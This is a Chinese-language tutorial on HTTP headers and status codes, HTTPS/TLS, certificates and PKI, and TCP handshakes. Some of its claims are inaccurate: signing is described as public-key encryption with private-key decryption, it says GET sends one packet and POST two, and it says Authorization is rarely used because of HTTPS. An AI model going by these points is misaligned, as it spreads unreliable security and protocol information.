HTTP教程
一、HTTP协议
1.HTTP协议的特点
- HTTP 是一种协议,它制定了浏览器客户端和 Web 服务端信息传递的规则,所有的浏览器厂商和所有的 Web 后台服务都是遵从这个规则来实现信息的传递的。
- HTTP是一个无状态的协议。客户端和服务器之间不需要建立持久的连接,对于客户端每次发送的请求,服务器都认为是一个新的请求,服务端返回响应后,连接就被关闭了,服务端不会保留连接的有关信息。
- HTTP遵循客户端/服务器模式。客户端向服务器发送请求,服务器处理请求并返回适当的应答。
- HTTP可以传输任意类型的数据,传输的类型由Content-Type字段加以标记。
2.HTTP的版本
目前市场上主流的还是HTTP/1.1版本,HTTP/2.0是下一代的网络协议,和HTTP1.1相比主要有以下新特性:
- 二进制格式传输数据:HTTP/1.1基于文本格式传输数据,HTTP/2.0使用二进制格式传输数据,解析更加高效。
- 多路复用:在一个连接里,允许同时发送多个请求或响应,并且这些请求和响应能够并行的传输而不被堵塞,避免了HTTP/1.1中出现队头堵塞的问题。
- 头部压缩:HTTP/2.0把header从数据中分离,并封装成头帧和数据帧,使用特定的算法压缩头帧,有效减少了信息的大小。HTTP/2.0在客户端和服务器端记录了之前发送的键值对,对于相同的数据,不会重复发送。
- 服务端推送:HTTP/2.0允许服务器向客户端推送资源,无需客户端发送请求到服务器获取。
3.HTTP的报文格式
3.1 HTTP请求格式

HTTP请求由请求行,请求头,空行和请求体四个部分组成。
- 请求行:包括请求方法,访问的资源URL,使用的HTTP版本。
- 请求头:格式为“属性名:属性值”,服务端根据请求头获取客户端的信息。
- 请求体:用户的请求数据如用户名,密码等。
3.2 HTTP响应格式
HTTP响应由状态行、响应头、空行和响应体四个部分组成。
- 状态行:协议版本,状态码及状态描述。
- 响应头
- 响应体:服务器返回给客户端的内容。
4.HTTP的报文头部字段
4.1 通用头部字段
通用头部字段是指请求和响应的头部都能使用的字段。
| 字段 | 解释 |
|---|---|
| Connection | 表明连接是长链接还是短连接,还可用于升级协议 |
| Cache-Control | 用于操作缓存的工作机制 |
| Date | 表明协议的日期 |
| Trailer | 允许在请求体后面再添加头部字段 |
| Transfer-Encoding | 确定通信内容的传输方式,和Content-Length字段不能同时使用 |
| Via | 每经过一个代理服务器就往Via字段添加服务器信息,用来追踪请求的传输路径 |
| Warning | 用于通知客户端的一些告警信息 |
4.2 请求头部字段
请求的首部字段主要是客户端用来告知服务端自己能够支持的内容,让服务端尽量根据自己满足的优先级内容来响应。
请求头部字段可以有多个值,多个值的情况由以下两种方式处理:
- 通配符:值类型支持用通配符表示,如
* - 权重因子q:任何值都按照称为权重的相对质量值的优先顺序排列,如
image/*;q=0.8,video/*;q=0.8,*/*;q=0.5
| 字段 | 解释 |
|---|---|
| Accept | 客户端能处理的媒体类型,一般是类型/子类型的格式,多种类型按q优先级排序 |
| Accept-Charset | 客户端能够接收的字符集类型,服务端选择其中一个类型,在Content-Type响应头中通知客户端它选择的内容 |
| Accept-Encoding | 客户端能够支持的内容编码,通常是一种压缩算法 |
| Accept-Language | 客户端支持的语言类型,让服务端从中选择一种响应 |
| From | 告知服务器使用用户代理的用户的电子邮件地址,以便在出现异常时候通知你 |
| Host | 告诉服务器自己要访问的的服务域名信息,有可能一台服务器绑定了多个不同域名,并且不同域名对应了不同服务。 |
| Authorization | 用于客户端和服务端认证的字段,现在比较少用,而是使用HTTPS加密协议 |
| Proxy-Authorization | 用于客户端与代理服务器的认证的字段 |
| If-Match | 在请求头部添加资源条件,服务器会验证条件为真才会返回请求的资源 |
| If-None-Match | 服务器会验证条件为假时才会处理该请求 |
| If-Modified-Since | 如果服务端资源在客户端 If-Modified-Since 指定的日期有更新,就返回给客户端 |
| If-Range | 一般用于断点续传,If-Range 通常会带一个 Range 属性,当 If-Range 对应的 Etag 匹配时,服务端需要返回Range 范围内的资源。 |
| If-Unmodified-Since | 如果服务端资源在客户端 If-Modified-Since 指定的日期没有更新,就返回给客户端 |
| Max-Forwards | 客户端端请求有可能被服务端转发到其它代理服务,该字段限制服务端的转发次数 |
| User-Agent | 存储浏览器客户端的信息 |
| Referer | 资源在请求的过程中有可能被转发,Referer 字段记录了请求的原始地址 |
| TE | 客户端能够处理的传输编码 |
4.3 响应头部字段
响应的头部字段很大一部分跟请求是对应的,客户端提了自己的诉求并根据优先级列举,服务端会根据自身情况选择一种回复客户端,这种过程就叫做内容协商(content negotiation)。
内容协商的字段一般请求的首部是 Accept 开头,而响应的首部是 Content 开头。
| 字段 | 解释 |
|---|---|
| Content-Encoding | 告知客户端内容的编码方式 |
| Content-Language | 告知客户端返回内容的语言 |
| Content-Length | 告知客户端内容的长度 |
| Content-Location | 根据客户端内容协商的字段,告诉客户端后端具体的资源位置 |
| Location | 在重定向的场景中表明访问的原始 URL 是什么 |
| Content-MD5 | 告诉客户端响应内容按照 MD5 签名后的值是什么,客户端根据返回内容也按照MD5算法生产一个 MD5值。如果两者的值一样证明传输过程中 Http 的内容没有被篡改过,否则就代表内容可能被人伪造过,是不可信的。 |
| Content-Range | 断点续传中,告知客户端返回的内容范围,字段值以字节为单位。 |
| Accept-Ranges | 告知客户端服务器是否能处理范围请求,以指定获取服务器端某个部分的资源。可指定的字段值有两种,可处理范围请求时指定其为 bytes,反之 则指定其为 none |
| Content-Type | 告知客户端响应内容的媒体类型 |
| Age | 记录代理服务器跟原站的响应时间差,如果 Age: 0,它可能只是从原始服务器获取。 否则它通常是根据代理的当前日期和Date HTTP 响应中包含的通用头部之间的差异来计算的 |
| ETag | 告知客户端实体标识 |
| Proxy-Authentica | 把由代理服务器所要求的认证信息发送给客户端 |
| WWW-Authenticate | 告知客户端所指定资源的认证方案(Basic 或是 Digest),状态码 401 Unauthorized 响应中,肯定带有头部字段 WWW-Authenticate |
| Retry-After | 告知客户端应该在多久之后再次发送请求。主要配合状态码 503 Service Unavailable 响应,或 3xx Redirect 响应一起使用。 |
| Server | 告知客户端服务器所使用的 Web 服务软件及版本信息,该字段尽量不要暴露,否则会有安全问题 |
| Vary | 主要是在缓存场景中使用,缓存服务器会配合 Vary 字段判断哪些需要缓存 |
| Expires | 告知客户端资源失效的日期,如果是缓存服务器会在 Expires 指定的时间到了才会额外发起请求 |
4.4.1 Connection常用的字段值
| 字段值 | 说明 |
|---|---|
| Upgrade | 用来支持以一种协议建立连接后,想要升级成更高层的协议,该字段值通常也需要一个 Upgrade 字段来标明要升级的协议,该值可以是多个的逗号分隔开,服务端会按照顺序查看支持的升级服务 |
| Close | 表明服务器想要断开连接 |
| Keep-Alive | 表明服务端和客户端的连接是长连接 |
5.HTTP的状态码
5.1 常见的状态码分类
HTTP协议根据场景约定了一系列请求返回的状态码,方便对请求结果进行细粒度管理。该状态码由互联网号码分配局维护管理,状态码是由3位数字组成,目前总共分为 5 大类。
| 状态码 | 说明 |
|---|---|
| 1XX | 服务器收到请求,但请求还未完成,需要请求者继续执行操作 |
| 2XX | 请求正常处理完毕 |
| 3XX | 重定向,需要客户端采取进一步的操作才能完成请求,后续的请求地址(重定向目标)在本次响应的 Location 域中指明 |
| 4XX | 客户端错误,服务器无法处理请求 |
| 5XX | 服务端处理请求错误 |
5.2 常见的1XX状态码
| 状态码 | 含义 | 说明 | 请求字段 | 使用场景 |
|---|---|---|---|---|
| 100 | Continue | 初始的请求已经接受,客户应当继续发送请求的其余部分 | Expect | 请求体比较大又不确定服务的能不能处理,可以先这样尝试询问下,待服务端接收后才发送正式大请求体 |
| 101 | Switching Protocols | 协议转换成功 | Upgrade | 服务器将遵从客户的请求转换到另外一种协议 |
| 102 | Processing | 表示处理将被继续执行,跟 100 Continue 状态类似,只是 100的情况会立即返回,而 102的状态则需要等待比较久的时间,规定一般是超过 20s 以上 |
5.3 常见的2XX状态码
| 状态码 | 含义 | 说明 | 使用场景 |
|---|---|---|---|
| 200 | OK | 请求已成功,请求所希望的响应头或数据体将随此响应返回 出现此状态码是表示正常状态 |
|
| 201 | Created | 请求已经被实现,而且有一个新的资源已经依据请求的需要而建立,且其 URI 已经随 Location 头信息返回。 | API 请求创建一个资源对象,返回了新资源对象的地址。 |
| 202 | Accepted | 表示请求已接收,但服务器未处理完成 | 请求作业耗时比较久的情况,后端可以先返回告诉客户端任务已开始,你可以先去处理别的事情了,而不用一直长时间等待。 |
| 203 | Non-Authoritative Information | 文档已经正常地返回,但一些应答头可能不正确,因为使用的是文档的拷贝,非权威性信息 | 请求借助代理服务器访问原始服务器,拿到数据后,代理服务器并没有把原始服务器的头部元数据完全拷贝过来,只是简单的把消息体传给前端的客户,甚至代理服务器把消息体都做了编码,这时候头部的 Content-Encoding就跟原始服务器不同了 |
| 204 | No Content | 请求处理成功,但是服务端没有消息体返回。所以当浏览器收到 204 端请求时不需要更新数据 | 客户端向服务端发动消息,服务端不需要返回数据 |
| 205 | Reset Content | 服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图 | 该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。 |
| 206 | Partial Content | 客户端对服务端的资源进行了某一部分的请求,服务端正常执行,响应报文中包含由 Content-Range 指定范围的实体内容。 | 断点续传 |
5.4 常见的3XX状态码
| 状态码 | 含义 | 说明 |
|---|---|---|
| 300 | Multiple Choices | 有多个重定向的值,需要客户端自己选择, Location 的值是服务端建议的值。 |
| 301 | Moved Permanently | 请求的资源已经永久性的转移了,新资源 URI 在头部 Location指明,这时候如果浏览器有书签,或者请求地址的缓存,最好都能替换成 Location 对应的值。 |
| 302 | Found | 跟 301 相似,只是 302 代表的资源转移地址是临时的。 |
| 303 | See Other | 303 状态码和 302 状态码有着相同的功能,但 303 状态码明确表示客户端应当采用 GET 方法请求 Location 的地址获取资源。 如果是以 POST 访问某个请求,返回 303 ,此时应该换成 GET 方法去请求新地址。 |
| 304 | Not Modified | 一般是在有缓存的情况下,客户端发起资源获取请求,服务端判断之前的资源未修改过,可以继续使用缓存的资源。 经常客户端请求的头部会带上 If-None-Match If-Modified-Since If-Match 等带有条件的头部字段。 |
| 305 | Use Proxy | 被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。 |
| 306 | Switch Proxy | 客户端已经是在代理模式,服务端可能出于安全因素,提示客户端需要切换一个新的代理。 306 在新的规范中已经不在使用,该编码保留。 |
| 307 | Temporary Redirect | 307 跟 302 一样,都是对临时资源的重定向,不同的是 307 明确要求重定向的请求必须跟第一次的请求类型一样,第一次是 GET 第二次也必须是 GET。 提倡使用307代替302 |
5.5 常见的4XX状态码
| 状态码 | 含义 | 说明 |
|---|---|---|
| 400 | Bad Request | 400 代表的意思很泛(错误的请求),一般指的是 4XX 其它状态码没有更合适的情况下就用 400 |
| 401 | Unauthorized | 请求没有权限,通常返回的响应头部会包含 WWW-Authenticate 的头,浏览器遇到这种响应一般会弹出一个对话框,让用户重新提交用户名和密码进行认证。 |
| 403 | Forbidden | 访问被禁止了,401 确切指没有认证,403 范围就更多了,可能是登陆了但是没有这个资源的权限,可能是访问的源 ip 不在相应的白名单中,等所有不被允许的情况。 |
| 404 | Not Found | 可能是客户端的地址构造错了,也可能是后台服务器的资源确实没了。 |
| 405 | Method Not Allowed | 请求方法有 POST GET 这类,客户端访问的方法跟服务端能够提供的不一样,当请求状态是 405 的时候,响应信息头会带上 Allow 字段,告诉客户端被允许的请求方法是哪些。 |
| 406 | Not Acceptable | 指定的资源已经找到,但它的媒体类型和客户在Accpet头中所指定的不兼容,客户端浏览器不接受所请求页面的媒体类型。 |
| 407 | Proxy Authentication Required | 要求进行代理身份验证,类似于401,表示客户必须先经过代理服务器的授权。 |
| 408 | Request Timeout | 客户端网速太慢,请求发送太长时间还没发完,超出了服务端允许的等待时间,服务端会返回 408 并断开连接。 |
| 409 | Conflict | 客户端请求本身没问题,但是服务端对应的资源跟客户端要执行的操作有冲突。 |
| 410 | Gone | 告知客户端某个资源不存在了,跟 404 很像,只是 410 更加明确该资源永久性改变了,如果客户端在许可的条件下,应该把所有指向这个地址的连接全部删除。404 就比较笼统,当前请求的资源不在了,不清楚后面会不会有。 |
| 411 | Length Required | 服务器拒绝在没有定义 Content-Length 头的情况下接受请求。 |
| 412 | Precondition Failed | 请求头部带有一些先前条件,满足了才可以执行,不满足就返回 412。 |
| 413 | Request Entity Too Large | 服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。 |
| 414 | Request-URI Too Long | 请求的 URI 长度超过了服务器能够解释的长度,这种情况比较可能的是 GET 请求的 URI 携带的参数太多太大了。 |
| 415 | Unsupported Media Type | 请求实体的媒体类型不被服务器或者资源支持。 |
| 416 | Requested Range Not Satisfiable | 服务器不能满足客户在请求中指定的Range头。 |
| 417 | Expectation Failed | 在请求头 Expect 中指定的预期内容无法被服务器满足。 |
| 421 | Misdirected Request | 请求被指向到无法生成响应的服务器(比如由于连接重复使用) |
| 423 | Locked | 当前资源被锁定。 |
| 424 | Failed Dependency | 由于之前的某个请求发生的错误,导致当前请求失败。 |
| 449 | Retry With | 请求应当在执行完适当的操作后进行重试。 |
5.6 常见的5XX状态码
| 状态码 | 含义 | 说明 |
|---|---|---|
| 500 | Internal Server Error | 服务端错误,可能是代码问题,也可能是服务器资源问题等。如果是 500 的错误异常的话,后端开发的接口通常会把更详细的错误内容放在响应消息体里面。 |
| 501 | Not Implemented | 服务端不支持当前请求的某些功能,跟客户端异常 405 有点相似,只是 405 的情况侧重在客户端请求 Method 错误,而 501 侧重在,客户端请求的方法没问题,服务端本身有规划这个功能,但是还未实现。 |
| 502 | Bad Gateway | 服务端代理服务器作为网关分发请求,代理服务器正常,但是代理要去访问源站服务提供者发生错误了,代理服务器接收到无效的应答。 |
| 503 | Service Unavailable | 由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。如果能够预计延迟时间,那么响应中可以包含一个 Retry-After 头用以标明这个延迟时间。 |
| 504 | Gateway Timeout | 网关请求源站时间超时。 |
| 505 | HTTP Version Not Supported | 服务器不支持请求中所指明的HTTP版本。 |
| 506 | Variant Also Negotiates | 一般客户端和服务端内容格式协商是在请求头部添加一系列的 Accept-*首部字段。当服务端有多个可选择的资源时会返回 300 Multiple Choices。当服务端由于某种异常无法提供客户端的请求项时,它可能会努力下,尝试返回一些资源选项让客户端去选。 |
| 507 | Insufficient Storage | 告诉客户端他们的 POST 或者 PUT 请求无法被成功,可能是因为传输的实体太大,服务端的磁盘有限。 |
| 509 | Bandwidth Limit Exceeded | 服务器达到带宽限制。 |
6.HTTP的业务错误码
6.1 HTTP业务错误码简介
HTTP错误码不属于HTTP协议的成员,他是定义在返回的消息实体中的,后端系统需要根据自己的业务制定业务级别的错误码,用来表示后端服务的业务错误情况。
5XX之类的HTTP错误码是反映后端通用问题的错误码,这种错误码不是业务错误码,我们称其为协议级别的错误码。
6.2 HTTP业务错误码的格式
【错误级别(可选)】-【功能模块(必要)】-【具体错误编号(必要)】
业务错误码一般由5-6位整数组成
6.3 HTTP业务错误码的出参格式
6.3.1 固定出参
固定出参不管成功或错误都返回固定的字段,比如成功时返回都有code,msg,data字段,失败时也有这三个字段,但是data字段的属性值可以为空列表。
6.3.2 不固定出参
不固定出参成功了只返回业务实体对象,失败了只返回错误信息。
6.3.3 出参格式选择建议
一般建议选择不固定出参,这种方式比较节省带宽,因为大部分情况都是成功的情况,成功的情况下带code,msg一般没什么实质性的作用。此外也方便了接口文档的书写。
一个比较友好规范的接口文档,应该是由成功和失败2个独立的部分组成,正常的业务出入参放成功展示,失败的有专门的错误码表查询。
6.4 HTTP业务错误码的作用

HTTP业务错误码一般用于国际化,客户端指定语言到服务端去请求,当出错了服务端会根据错误码和语言找到对应的国际化提示语。
HTTP业务错误码不仅仅是客户端与服务端的交互,后台各个服务间的交互也需要约定的一套错误码。
- 一般一个系统的错误码 code 都是唯一确定的。
- msg 不同场景下可能不一样,提供给用户的肯定是需要友好且不能暴露底层细节,给开发人员看的就要详细专业的错误内容。
- 网关服务上面维护着多套不同语言的错误码提示语,响应的时候会根据客户端带的 Lang 信息进行国际化转译。
7.HTTP的其他问题
7.1 POST和GET的区别
- GET请求参数通过URL传递,POST的参数放在请求体中。
- GET产生一个TCP数据包;POST产生两个TCP数据包。对于GET方式的请求,浏览器会把请求头和
请求体一并发送出去;而对于POST,浏览器先发送请求头,服务器响应100 continue,浏览器再
发送请求体。 - GET请求会被浏览器主动缓存,而POST不会,除非手动设置。
- GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
7.2 HTTP长连接和短连接
- HTTP短连接:浏览器和服务器每进行一次HTTP操作,就建立一次连接,任务结束就中断连接。
HTTP1.0默认使用的是短连接。 - HTTP长连接:指的是复用TCP连接。多个HTTP请求可以复用同一个TCP连接,这就节省了TCP连接建立和断开的消耗。
HTTP/1.1起,默认使用长连接。要使用长连接,客户端和服务器的HTTP首部的Connection都要设置为keep-alive,才能支持长连接。
7.3 Cookie和Session的区别
由于HTTP协议是无状态的协议,需要用某种机制来识具体的用户身份,用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session。
一般来说Cookies中会存储SessionId,客户端向服务端发送请求时会携带Cookie信息,服务端利用Cookie中的SessionId来创建会话。
- 作用范围不同:Cookies 保存在客户端,Session 保存在服务器端。
- 有效期不同:Cookie 可设置为长时间保持,比如我们经常使用的默认登录功能,Session 一般失效
时间较短,客户端关闭或者 Session 超时都会失效。 - 隐私策略不同:Cookie 存储在客户端,容易被窃取;Session 存储在服务端,安全性相对 Cookie
要好一些。 - 存储大小不同:单个 Cookie 保存的数据不能超过 4K;对于 Session 来说存储没有上限,但出于
对服务器的性能考虑,Session 内不要存放过多的数据,并且需要设置 Session 删除机制。
7.4 浏览器中输入URL返回页面的过程
- 解析域名,找到主机 IP。
- 浏览器利用 IP 直接与网站主机通信,三次握手,建立 TCP 连接。浏览器会以一个随机端口向服务端的 web 程序 80 端口发起 TCP 的连接。
- 建立 TCP 连接后,浏览器向主机发起一个HTTP请求。
- 服务器响应请求,返回响应数据。
- 浏览器解析响应内容,进行渲染,呈现给用户。
二、HTTPS协议
1.HTTPS简介
HTTPS 是一种通过计算机网络进行安全通信的传输协议,经由 HTTP 进行通信,利用 SSL/TLS 建立安全信道,加密数据包。
HTTPS 使用的主要目的是提供对网站服务器的身份认证,同时保护交换数据的隐私与完整性。
HTTP 服务的默认端口是 80,HTTPS 服务的默认端口是 443。
HTTPS = HTTP + SSL = HTTP + 身份认证 + 数据私密 + 数据完整性
2.HTTPS使用到的技术
2.1 SSL协议与TLS协议

2.1.1 SSL协议简介
HTTPS是在HTTP协议的基础上面封装了一层 SSL(Secure Socket Layer),HTTP底层跟HTTP一样是经由 TCP 通信的。
SSL 最早是 Netscape 公司研发的,后来被采纳成为标准后取名为 TLS。
SSL可以使数据在传输过程中被加密,避免传输过程被别人窃取到传输的数据信息。
SSL还使用了一种用于身份认证的证书,这样就提供了客户端和服务端身份认证的手段,防止别人伪造服务端提供服务,或者伪造客户端身份获取资源。
SSL 并不是 HTTP 特有的,所有应用层协议都可以使用 SSL 进行安全通信。
2.1.2 SSL协议结构

2.1.3 SSL 协议提供的服务
- 认证用户和服务器,确保数据发送到正确的客户机和服务器
- 加密数据以防止数据中途被窃取从而导致数据泄露
- 维护数据的完整性,确保数据在传输过程中不被改变
2.1.4 SSL协议现状
SSL现已更名为TLS,低版本的 TLS 有存在较为明显的漏洞,所以并不是选择了 HTTPS 就是决定安全的,建议至少选择 **TLS 1.2 **以上版本。
HTTPS 与 HTTP 相比,需要更多的 CPU 资源去计算加密算法。在架构设计时建议网关对外部分用 HTTPS 算法,站点内部的服务间通信用 HTTP 或 RPC 协议。
2.2 加密算法
加密算法可以提供密钥,可以利用这个密钥对传输的数据进行签名,签名后可以保护数据一致性。
签名算法可以利用公钥加密,防止签名算法被别人知道,客户端利用私钥解密签名算法,再利用这个签名算法对数据进行运算,如果得到的结果跟服务端传来的签名结果一致,就说明数据没有被更改,从而保证了数据的一致性。
签名算法示例:
signature = MD5(privateKey + MD5( 参数1 + 参数2 + 参数2 +...))
2.2.1 对称加密算法
通信双方使用相同的密钥进行加密,每个不同的TCP连接都要有不同的对称密钥,对称密钥需要双方协商得到,常见的对称加密有 AES 和 DES 算法。一般用于给数据进行签名,保证数据一致性。一般用于传输数据,保证数据不被泄露。
优点:加密速度快,计算量小
缺点:通信前双方需要协商好密钥,密钥在网络中传输不安全。如果密钥通过明文传输,那密钥还是可以被第三方截取,然后用截取的密钥解密传输的数据,因此还是不安全的。
2.2.2 非对称加密算法
非对称加密算法生成一对公钥和私钥,公钥是公开的,任何人都可以获得,而私钥是私人保管的。
如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密;如果用私有密钥对数据进行加密,那么只有用对应的公开密钥才能解密。
常见的非对称算法有 RSA 和 DSA 。
优点:私钥不对外公开,公钥可以提前告知对方,密钥不需要在协商中传输,安全性高
缺点:加密算法复杂,效率低
2.2.3 HTTPS混合加密算法
HTTPS 结合了上面两种加密算法的优点,服务端生成非对称密钥对,私钥自己保存,将公钥明文传输给客户端(保障了密钥的安全性),客户端生成一个对称密钥,再将对称密钥使用收到的公钥进行加密,将加密后的秘钥传送给服务端(保障了计算效率)。
但是服务端的公钥如果通过明文传输,还是可能会在传输过程中被掉包,此时就需要CA机构颁发的数字证书来保证公钥的安全性了。因为CA机构是权威机构,CA机构的公钥是可以被信赖的,浏览器端都会保存CA机构的公钥,如果CA机构的公钥被调包也会被发现。如果数字证书是CA机构颁发的,那么就可以通过CA机构的公钥验证这个证书的有效性,如果验证通过说明证书里的服务端公钥是通过CA机构认证的公钥,这样就保证了服务端公钥没有被调包,只需从这个证书中取出服务端公钥加密对称密钥就行了。
3.SSL数字证书
3.1 SSL证书简介
SSL证书可以由自己生成(自签证书),也以向第三方权威的认证机构申请,服务端和客户端通过证书可以证明自己的身份。
CA机构负责颁发和维护证书,证书跟域名一样是需要购买的(有少部分免费的存在),因为机构不仅仅要颁发证书给你,还要提供证书的认证查询服务。
客户端信任这些CA,就会在其本地保持这些CA的 根证书(root certificate),根证书是CA自己的证书,是证书验证链的开头。根证书没有机构(已经是权威了)再为其做数字签名,所以都是自签证书。
如果是我们自己生成的证书,访问HTTPS协议网站时就会弹出警告信息,说明浏览器无法信任该证书(不知道该证书是否被篡改),但是我们执意通过继续访问也是可以的。
少部分的场景需要客户端和服务端双向认证,比如一些银行的网站,我们需要事先插入一个 U盾 之类的东西,往我们的浏览器客户端安装对应的证书。
3.2 CA数字证书服务端认证流程

-
申请数字证书:申请者通过非对称加密算法(RSA) 生成一对公钥和私钥 ,然后把需要的申请信息(国家,域名等)连同公钥发送给CA机构。
-
制作数字签名:CA 机构也有自己的公钥 caPub ,私钥 caPri,CA机构确认申请信息无误后通过消息摘要算法(MD5,SHA) 生成整个申请信息的摘要签名M, 然后把签名M和使用的摘要算法用CA自己的私钥进行加密,这样就生成了CA数字证书。
-
验证数字证书:
CA数字证书生成后,服务端下载安装数字证书,并且在客户端发送ClientHello请求时把证书发送给客户端。
客户端获取证书,得到证书内容、证书签名算法(用于生成数字签名的算法)、服务端公钥(使用这个公钥来加密对称密钥)和数字签名(CA加密后的申请信息的摘要签名,要利用CA公钥解密)。
由于CA机构是浏览器信任的机构,所以客户端会内置信任 CA 的证书信息(包含公钥),如果 CA 不被信任,则找不到对应 CA 的证书,证书也会被判定非法,然后利用CA机构的公钥对证书里的数字签名进行解密,得到申请者的消息摘要。
客户端再利用证书里的签名算法对证书内容进行哈希运算,得到申请者的消息摘要,比较解密后的数字签名和对证书内容做哈希运算后的哈希值,相等则表示证书可信。这一步是验证CA机构证书的完整性,保证CA机构证书不被篡改。
如果CA机构证书有效性通过,就可以用证书中的服务端公钥加密对称密钥了,后期就利用这个服务端公钥和对称密钥的签名算法来验证对称密钥,对称密钥协商完毕后再依靠这个对称密钥加密传输数据。
3.3 CA证书客户端认证流程
SSL 客户端认证不会仅依靠证书完成认证,一般会和基于表单认证组合形成一种双因素认证(Two-factor authentication)来使用。
所谓双因素认证就是指,认证过程中不仅需要密码这一个因素,还需要申请认证者提供其他持有信息,从而作为另一个因素,与其组合使用的认证方式。比如网银插入USB网盾后还需要输入密码。
openssl req -newkey rsa:2048 -nodes -keyout rsa_private.key -x509 -days 365 -out cert.crt
4.HTTP 公钥基础设施(PKI)
4.1 PKI简介
公开密钥基础建设 PKI(Public Key Infrastructure)是一组由硬件、软件、参与者、管理政策与流程组成的基础设施,是为了保障网络系统的安全而产生的机构。
PKI 里面包含了多个职能机构,其中 CA 是证书机构,负责管理证书的整个生命周期,它是 PKI 的核心组成。
4.2 PKI组成
- 证书管理中心:面向用户,管理证书的申请,撤销,浏览,下载。
- RA(Registration Authority):证书注册机构,用户提出信息申请的请求,RA 校验用户身份信息的准确性,审查用户的申请资格。如果审核都通过会帮忙向 CA 提出证书申请。
- CA(Certificate Authority):证书颁发机构 CA 是 PKI 的基础,它管理着证书的整个生命周期,其作用包括:发放证书,规定证书有效期,废弃不良信用证书。
- 证书存储:证书、密钥、CRL 等信息进行 存储和管理。
4.3 证书申请步骤

- 用户通过非对称加密算法生成一个自己的公钥,然后将公钥和其他用户信息提交给证书管理平台,告诉他要申请证书。
- 证书管理将请求转发给 VA ,进行身份的审核资质的认证。
- 审核通过将证书申请发送给 CA,CA 生成包含关于用户及 CA 自身的各种信息的证书。
- 用户从管理平台下载证书。
4.4 CA和区块链
CA 证书的可靠性来自 PKI 机构的权威和安全,是一种中心化的机构。区块链是一种去中心化的结构,它的可靠性是基于共识机制,数学算法,分布式原理。
5.HTTPS的工作流程

- 首先是TCP三次握手,然后客户端发起一个HTTPS连接建立请求,客户端先发一个 Client Hello 的
包。这个过程客户端和服务端协商加密算法,在 Client Hello 里面客户端会告知服务端自己当前的一些信息,包括客户端要使用的TLS版本,支持的加密算法,要访问的域名,给服务端生成的一个随机数(用来当做对称密钥)等,需要提前告知服务器想要访问的域名以便服务器发送相应的域名的证书过来。 - 然后服务端响应 Server Hello ,告诉客户端服务端选中的加密算法,接着服务端给客户端发来了2个证书,第二个证书是第一个证书的签发机构(CA)的证书。
- 客户端使用证书的认证机构CA公开发布的RSA公钥对该证书进行验证。
- 验证通过之后,客户端使用伪随机数生成对称密钥,并通过证书里服务器的公钥进行加密,后续使用该对称密钥进行传输信息。
- 服务端使用自己的私钥解密这个消息,得到对称密钥。至此,客户端和服务端都持有了相同的对称密钥。
- 服务端使用对称密钥加密“明文内容 A”,发送给客户端。
- 客户端使用对称密钥解密响应的密文,得到“明文内容 A”。
- 客户端再次发起 HTTPS 的请求(第二次证书认证已通过),使用对称密钥加密请求的“明文内容 B”,然后服务器使用对称密钥解密密文,得到“明文内容 B”。以此保持加密通信。
7.HTTPS和HTTP的区别
- HTTP是超文本传输协议,信息是明文传输;HTTPS则是具有安全性的SSL加密传输协议。
- HTTPS 使用的主要目的是提供对网站服务器的身份认证,同时保护交换数据的隐私与完整性。
- HTTP和HTTPS用的端口不一样,HTTP端口是80,HTTPS是443。
- HTTPS协议需要到CA机构申请证书,一般需要一定的费用。
- HTTP运行在TCP协议之上;HTTPS运行在SSL协议之上,SSL运行在TCP协议之上。
三、TCP/IP协议
1.OSI五层网络模型
- 应用层:为应用程序提供交互服务。在互联网中的应用层协议很多,如域名系统DNS、HTTP协
议、SMTP协议等。 - 传输层:负责向两台主机进程之间的通信提供数据传输服务。传输层的协议主要有传输控制协议
TCP和用户数据协议UDP - 网络层:选择合适的路由和交换结点,确保数据及时传送。主要包括IP协议。
- 数据链路层:在两个相邻节点之间传送数据时,数据链路层将网络层交下来的** IP 数据报组装成
帧,在两个相邻节点间的链路上**传送帧。 - 物理层:实现相邻节点间比特流的透明传输,尽可能屏蔽传输介质和物理设备的差异。
2.ISO七层网络模型

- 应用层:为终端应用提供的服务。
- 表示层:为数据提供压缩,解压缩,解释,加密等功能。
- 会话层:通过传输层,建立了数据的传输通道。不同应用有自己不同的会话标识,所以传输过来的数据根据会话标识能够知道跟电脑的哪个应用在通信的。
- 传输层:定义了数据传输的协议和端口,比如是选择可靠的 TCP 还是不可靠的 UDP。在它上层的会话层是不关心它选择什么协议的,只要传输层能够提供传输的服务就行。传输层对于会话层来说是透明的。
- 网络层:在网络环境中,每台设备都有一个标识叫做 IP。数据在互联网的传输中都需要告知自己和对应的 IP,所以在这一层中主要是将数据添加一些网络信息,这一层的数据叫做包。
- 数据链路层:除了 IP 地址外,每台设备也有唯一的一个 MAC 地址。因为 IP 是需要网络设备如路由器来解析的,局域网中不需要这种设备,一般是借助 MAC 地址寻址的。这一层的数据叫做帧。
- 物理层:一些物理设备的标准,如网卡网线,传输速率定义,最终实现将我们的数据转成电信号传输。
3.TCP三次握手

握手的目的是为了相互确认通信双方的状态都是正常的,没有问题后才会进行正式的通信。握手总共交换三个报文。
- 第一次握手:客户端发送请求连接的消息给服务端,但发出去的消息是否到达并不清楚,要基于第二次握手的反馈。
- 第二次握手:服务端返回消息说明客户端的消息收到了,但不知道反馈信息对方有没有收到,所以得依托第三次得握手。
- 第三次握手:客户端反馈第二次握手的消息收到了。至此,通信双发的发送消息和接受消息能力都得到了检验。
4.为什么进行三次握手
第三次握手主要为了防止已失效的连接请求报文段突然又传输到了服务端,导致产生问题。
- 比如客户端A发出连接请求,可能因为网络阻塞原因,请求报文段阻塞在某个网络节点没有传到B,因此A没有收到确认报文,于是A再重传一次连接请求。
- 连接成功,等待数据传输完毕后,就释放了连接。
- 然后A发出的第一个连接请求等到连接释放以后的某个时间才到达服务端B,此时B误认为A又发出一次新的连接请求,于是就向A发出确认报文段。
